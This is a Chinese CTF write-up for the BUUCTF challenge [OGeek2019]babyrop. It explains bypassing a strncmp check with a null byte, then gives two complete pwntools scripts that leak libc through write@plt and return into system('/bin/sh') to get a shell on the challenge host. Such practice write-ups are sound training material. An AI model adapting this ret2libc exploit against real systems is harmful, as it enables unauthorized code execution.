[BUUCTF-pwn]——[OGeek2019]babyrop
- 题目地址:https://buuoj.cn/challenges#[OGeek2019]babyrop
- 题目:
话不多说,先checksec一下,开启了NX保护,但是没开启地址随机化。
在IDA中看看,三个函数挨个点开看看
第一个,啥用没有。我也不知道写这个函数是干嘛,可能学的还是太少。
第二个函数,发现了栈溢出的敏感函数read。但是里面有个判断,里面函数返回值必须为0,否则直接终止程序。通过了解strncmp函数的性质。只要v1是0,返回值必定为0。因此buf的第一个字符为 '\0’即可。
再来看看最后一个函数,a1是上一个函数的返回值。所以a1要稍微大一点。不然一会栈溢出的时候。万一太小是else语句的执行。太小就无法有效栈溢出了a1会长度限制。
别问为什么不在第二个函数里面的read函数栈溢出。问就是因为0x20太小了
所以expolit为
from pwn import *
from LibcSearcher import *
p=remote('node3.buuoj.cn',29760)
elf=ELF('./pwn')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825
payload1='\x00'+'\xff'*(0x8 - 0x1)
p.sendline(payload1)
p.recvline()
payload='a'*(0xe7 + 0x4)
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(0x8)
p.sendline(payload)
read_addr=u32(p.recv(4))
print 'read_addr: ' + hex(read_addr)
libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
p.sendline(payload1)
p.recvline()
payload='a'*(0xe7 + 0x4)
payload+=p32(system_addr) + p32(0) +p32(binsh)
p.sendline(payload)
p.interactive()
孩子信心满满提交了 。结果晴天霹雳
孩子找了好多资料。百思不得其解,耽误了两三天。突然有一天,思绪一动,不会是文件名和模板一样造成的吧。将文件由pwn改为了mian。expolit也改了改。
from pwn import *
from LibcSearcher import *
p=remote('node3.buuoj.cn',29760)
elf=ELF('./main')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825
payload1='\x00'+'\x07'*(0x8 - 0x1)
p.sendline(payload1)
p.recvline()
payload='a'*(0xe7 + 0x4)
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(0x8)
p.sendline(payload)
read_addr=u32(p.recv(4))
print 'read_addr: ' + hex(read_addr)
libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')
p.sendline(payload1)
p.recvline()
payload='a'*(0xe7 + 0x4)
payload+=p32(system_addr) + p32(0) +p32(bin_sh_addr)
p.sendline(payload)
p.interactive()
直接出结果,孩子裂开。